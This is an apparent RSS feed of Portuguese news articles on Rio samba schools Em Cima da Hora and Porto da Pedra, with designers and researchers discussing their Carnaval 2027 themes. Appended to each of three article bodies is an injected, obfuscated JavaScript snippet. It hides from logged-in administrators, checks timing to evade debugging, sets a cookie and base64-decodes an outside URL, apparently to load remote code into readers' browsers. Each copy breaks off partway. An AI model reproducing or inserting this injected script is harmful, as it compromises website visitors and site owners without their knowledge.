<p>“A gente se uniu para fazer um projeto. Não existe uma fantasia do Cahê ou uma alegoria do Rodrigo. É tudo junto. A gente rabisca junto, cria junto, tem ideias loucas juntos. Ele quer me matar porque eu ligo para ele de madrugada, ele me liga de manhã e a gente fica bolando: ‘o que você acha disso, daquilo?’. Não existe divisão. É uma coisa que flui. É realmente um rio fluindo em direção a isso”, explicou Rodrigo.</p>
<p>“A gente ganha esses presentes na vida, e Rodrigo, nesse meu retorno para o carnaval do Rio, em que eu precisava desse acolhimento, desse abraço, eu recebo esse presente de um cara com um coração gigante. Eu posso chamar de ‘menino’, porque eu sou mais velho do que ele, e digo que me emociona ouvir que eu fui inspiração para ele, isso é muito especial para mim. Eu estou muito feliz com a parceria, a gente, de verdade, tem uma troca muito saudável, a gente se fala quase todo dia, quase toda hora. A gente não está no barracão ainda, fica em casa trabalhando, faz chamada de vídeo, a gente se entope de mensagens e de referências o tempo todo. Parece que eu estou me reencontrando no carnaval, dentro desse processo criativo. Está sendo muito especial”, disse Cahê.</p>
<p>Além da chegada de Cahê, a escola também recebeu, para o Carnaval 2027, o intérprete Igor Vianna, que cantará junto ao parceiro Igor Pitta; o coreógrafo da comissão de frente, Patrick Carvalho; o diretor de carnaval, Wallace Capoeira; o diretor de harmonia, Marcelo Varanda; além da nova rainha de bateria, a cantora Lexa. O carnavalesco Rodrigo Ameida projeta um carnaval ainda maior do que o de 2026.</p>
<p>“Um grande carnaval. Já temos um grande enredo, temos certeza de que virá um grande samba e quem viu a Em Cima da Hora no passado pode aguardar coisa maior, pode aguardar uma escola disputando o título, querendo o Grupo Especial. É uma escola de tradição, uma escola que tem a sua bandeira, tem a sua história, podem aguardar uma grande Em Cima da Hora, um grande trabalho, não só dos carnavalescos, mas de toda a equipe que está na escola”, declarou.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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		<title>Alex Carvalho e Caio Cidrini trazem narrativa ancestral da MPB para a Porto da Pedra em 2027</title>
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		<dc:creator><![CDATA[Mariana Santos]]></dc:creator>
		<pubDate>Fri, 08 May 2026 20:40:49 +0000</pubDate>
				<category><![CDATA[Série Ouro]]></category>
		<category><![CDATA[Porto da Pedra]]></category>
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					<description><![CDATA[<p>A escola de São Gonçalo levará para a Sapucaí o enredo “Porto Calunga”, de Alex Carvalho e Caio Cidrini, com pesquisa de Thainá Santos e Beatriz Chaves. O tema trata da expedição popularmente conhecida como ‘Projeto Kalunga’, em que uma série de artistas da MPB foi convidada para se apresentar em Angola durante 12 dias, [&#8230;]</p>
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<p>A escola de São Gonçalo levará para a Sapucaí o enredo “Porto Calunga”, de Alex Carvalho e Caio Cidrini, com pesquisa de Thainá Santos e Beatriz Chaves. O tema trata da expedição popularmente conhecida como ‘Projeto Kalunga’, em que uma série de artistas da MPB foi convidada para se apresentar em Angola durante 12 dias, passando por Luanda, Benguela e Lobito, em meio à Guerra Civil Angolana.</p>
<p>Cerca de sessenta artistas brasileiros, Dorival Caymmi, Dona Ivone Lara, Chico Buarque, Martinho da Vila, Clara Nunes, Elba Ramalho, além de compositores, percussionistas, pessoas do teatro e da fotografia, participaram da expedição, que os carnavalescos consideram um ‘movimento artístico’, e retornaram de Angola com suas vidas e visões artísticas impactadas pela experiência.</p>
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<p>Os frutos dessa expedição foram grandes sucessos que os artistas trouxeram na bagagem, como a canção “Morena de Angola”, composta por Chico Buarque. Martinho da Vila gravou “Velha Chica”, do compositor angolano Waldemar Bastos. O álbum “Seduzir” (1981), de Djavan, também nasce sob influência dos momentos em Angola, além dos clássicos “Nvula Ieza Kia/Humbiumbi” e “Luanda”. E o carnavalesco Caio revela que os relatos do projeto são o ponto mais tocante da pesquisa do enredo, o que expõe o sentimento genuíno de artistas que encararam as memórias de seus antepassados e tiveram a oportunidade de retornar ao território ancestral levando arte.</p>
<p>“O que eu acho mais encantador, potente e forte são os depoimentos desses artistas que foram lá. Existem vários trechinhos em alguns documentários. Tem um documentário da Clara Nunes em que ela fala um pouco sobre Angola. A Alcione não foi em 1980, mas ela vai em 1981 e 1982 para lá também. Há trechinhos em que aparecem Dona Ivone Lara, Dorival Caymmi e Djavan. Tem trecho dele em programa da TV Cultura falando sobre isso e sobre como eles falam de forma genuína, apaixonada e transformada. Dorival vai para uma ilha em Luanda e se emociona porque lembra a Bahia dele. Djavan diz que só se encontra pleno artisticamente, com a identidade musical dele, quando pisa lá. E ele volta, compõe ‘Humbiumbi’, que é um pássaro angolano, e dá esse nome à música. Martinho vira praticamente o embaixador, ele ama Angola, faz kizomba, escreve tantos livros sobre Angola&#8230; Dona Ivone fala que, quando vê o mar da África, se arrepia e tenta não chorar”, contou.</p>
<p>Em busca de uma recolocação no Grupo Especial, a direção da escola já desejava um enredo afro. E Caio conta que o desejo coincidiu com a ideia que nasceu ao frequentar uma aula do mestrado na UERJ, sendo logo aceita pela agremiação.</p>
<p>“Teve uma aula na exposição do Museu de Arte do Rio que tinha um framezinho de 30 segundos de um documentário alemão sobre o Projeto Calunga. E, quando a gente viu isso, até fomos depois juntos, eu, Alex e as enredistas, para ver, falamos: ‘Pô, esse negócio dá um carnaval, né?’. E começamos a trocar ideias, e o Alex disse: ‘Cara, estou calunguizado’”, compartilhou.</p>
<p>A Porto da Pedra conta com um time de peso para trazer “Porto Calunga” à vida. Além de Alex e Caio, Thainá Santos e Bia Chaves integram a equipe como enredistas. Thainá Santos, escritora e ativista negra, já era amiga de Alex, que fez ilustrações para seus livros. Beatriz Chaves é uma enredista premiada, com Estandarte de Ouro de 2024 por “Um Defeito de Cor”, na Portela.</p>
<p>“É a primeira vez que a gente trabalha com enredistas. Acho que, por várias questões, por rede de relacionamento e, às vezes, por recurso financeiro também. Mas a gente chegou à Porto da Pedra nesse momento, numa escola que a gente sabe que já tinha uma estrutura de enredista também. O Mauro Quintaes tinha, o próprio Diego Araújo. É uma escola que está acostumada a ter enredista. A gente agora está trabalhando em outras equipes de criação. Trabalhamos com o Lucas no Especial e com Alexandre Louzada na UPM; com o Antônio, no passado, na Grande Rio; agora com o Edson, lá na Maricá. Na UPM era o Clark e o Vitor; o Jader Moraes na Grande Rio; agora o Mauro Cordeiro na Maricá. A gente vai entendendo o papel. É importante você ter um pesquisador, ter outros olhares sobre o mesmo tema”, contou Caio.</p>
<p>Ainda em estágios iniciais de pesquisa do enredo, o casamento vem dando certo, com o trabalho em equipe e colaborativo sendo um dos pontos fortes da dupla.</p>
<p>“Ninguém faz nada sozinho, a gente aprende isso. O carnaval não se constrói sozinho, nada na vida, na verdade. E a gente tem essa filosofia mesmo de somar com pessoas que querem estar ali somando, como a gente tem essa vontade. Está sendo uma troca, uma experiência maravilhosa estar com elas nessa nova casa, que é a Porto da Pedra”, refletiu Alex.</p>
<p>A dupla de carnavalescos começou a parceria na escola mirim Pimpolhos da Grande Rio, como voluntários. Atuaram na Chatuba de Mesquita, escola do último grupo do Carnaval carioca, onde montaram um carnaval sem recursos. Passaram pela Série Prata, onde conheceram Lucas Milato e se tornaram assistentes dele. Assim, também colaboraram com Alexandre Louzada ao chegarem à Série Ouro. Assinam a primeira escola na Sapucaí na Vigário Geral, coincidindo com a assistência criativa a outras escolas do Grupo Especial. A Porto da Pedra vem para dar o peso e a importância de representar uma cidade inteira na Sapucaí.</p>
<p>“Representar uma cidade é um peso grande. A gente sabe da história da Porto da Pedra. É uma escola que passou muito tempo no Especial, uma escola de comunidade, que representa uma cidade. A nossa intenção é levá-la de volta para o lugar em que sempre esteve e merece estar, que é o Grupo Especial. E o convite foi tranquilo. A gente já tinha saído da Vigário, estávamos abertos a propostas. Quando o Fábio Montebello ligou para a gente e perguntou se tínhamos interesse, claro que tínhamos. Sentamos para conversar e tudo foi muito natural. Acho que a gente está no lugar certo, na hora certa, com as parcerias certas, para fazer o melhor carnaval possível”, disse Caio.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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		<title>&#8216;Quarteto fantástico&#8217;: Beatriz Chaves e Thainá Santos celebram parceria como enredistas da Porto da Pedra em 2027</title>
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		<dc:creator><![CDATA[Mariana Santos]]></dc:creator>
		<pubDate>Thu, 07 May 2026 21:56:55 +0000</pubDate>
				<category><![CDATA[Série Ouro]]></category>
		<category><![CDATA[Porto da Pedra]]></category>
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					<description><![CDATA[<p>A Porto da Pedra lança nesta sexta seu enredo para o Carnaval 2027 em busca da volta ao Especial. Para isso, um time de peso: os carnavalescos Alex Carvalho e Caio Cidrini encabeçam o carnaval da escola, e são reforçados pelas enredistas Beatriz Chaves e Thainá Santos. Beatriz Chaves assinou a pesquisa de ‘Um Defeito [&#8230;]</p>
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<p>A Porto da Pedra lança nesta sexta seu enredo para o Carnaval 2027 em busca da volta ao Especial. Para isso, um time de peso: os carnavalescos Alex Carvalho e Caio Cidrini encabeçam o carnaval da escola, e são reforçados pelas enredistas Beatriz Chaves e Thainá Santos.</p>
<p>Beatriz Chaves assinou a pesquisa de ‘Um Defeito de Cor’ Portela, em 2024. O enredo adaptou o livro homônimo de Ana Maria Gonçalves para Avenida. A enredista conta que já conhecia a dupla de carnavalescos, e aceitou imediatamente o convite que lhe trouxe de volta ao trabalho com escolas de samba.</p>
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<p>“Eu estou gostando bastante, não é nem por estar no início de processo, aquele início de namoro, mas eu tenho sentido que as minhas dúvidas, sugestões, ideias estão sendo ouvidas, divididas, impulsionadas, está sendo muito legal dividir essas ideias, como a gente vai alinhar o que está escrito com o visual, com o discurso da escola. Tem sido um trabalho que requer uma atenção muito grande, mas ao mesmo tempo dividido e sendo alinhado com o que a gente acredita, fica muito mais prazeroso”, contou.</p>
<p>Thainá Santos, além de enredista, é ativista e escritora, e foi dessa maneira que colaborou pela primeira vez com Alex Carvalho. São amigos há cinco anos, e neste tempo, Alex ilustrou a capa do primeiro livro que idealizou e fez a coordenação editorial, “Mães Pretas: Maternidade Solo e Dororidade”. Com a amizade e trocas profissionais, compartilhou mais um sonho com o amigo: de se tornar enredista em uma escola de samba.</p>
<p>“Ali, naquele momento, no auge da pandemia, percebi que eu e ele teríamos potencial para quem sabe, um dia, trabalharmos juntos, pois a sensibilidade dele para captar uma ideia, uma proposta, flui com muita leveza. Em nossas trocas ao longo desses anos, o Alex sabia do meu desejo “quase secreto” de trabalhar como pesquisadora de enredo. Daí, no início deste ano, ele me apresentou ao Caio, artista que eu já admirava e por quem torcia de longe. E depois que nos conhecemos foi “afinidade à primeira vista”. Nos tornamos amigos de cara. Quando o Alex me fez o convite formal, eu tremi na base. Mas, por se tratar de um convite vindo de dois amigos, sabia que não existiria oportunidade melhor de dar o pontapé inicial nessa minha tão sonhada carreira de enredista”, compartilhou.</p>
<p>A estreia na Porto da Pedra também é o início da parceria com Beatriz Chaves, um casamento que vem dado certo. Segundo Beatriz, Thainá vem somar e “está alinhando cada vez mais coisas que a gente tem vontade de dizer, que uma escola de samba deveria dizer. Uma escola de samba com peso e com a responsabilidade que a Porto da Pedra tem de forma cultural, de forma artística”.</p>
<p>“Um dos meus presentes de 2026 é Bia Chaves! Sabe aquela coisa de um pensar e a outra falar?! Pois bem, é o que tem rolado comigo e com a Bia. Sou fã demais da Bia, ela é tão sagaz, generosa. Temos um olhar próximo de entender a importância do nosso ofício, frente a essa celebração artística idealizada pelos nossos ancestrais. Sabemos do tamanho da nossa responsabilidade, da grandeza que é reocuparmos esse espaço. Nossos encontros virtuais ou presenciais, nossas reuniões e divisões de trabalho se tornam uma grande festa, sem vontade de ir embora”, complementa Thainá.</p>
<p>“Quarteto Fantástico” é a forma que Thainá apelida o grupo formado pela dupla de enredistas junto à dupla de carnavalescos Alex e Caio, em celebração a parceria formada pelos quatro. A enredista conta que as expertises do grupo se complementam numa conexão impressionante.</p>
<p>“O Alex tem corpo e alma de artista, são genuínos os seus devaneios. Enquanto ainda estamos pensando em uma possibilidade de uma fantasia, uma ala, ele já está ali desenhando 3 possibilidades de figurinos. É lindo de testemunhar. E o Caio é o virginiano nato do nosso grupo. Tem uma criatividade vibrante e, ao mesmo tempo, traz a centralidade necessária para pensarmos no passo adiante. É raro no meio do carnaval termos carnavalescos que não se deixam dominar pelo ego e vaidade. E os meninos são a prova viva de que é possível lidar com a magia do carnaval sem perder a humildade, o respeito e a empatia pela sua equipe”, declarou.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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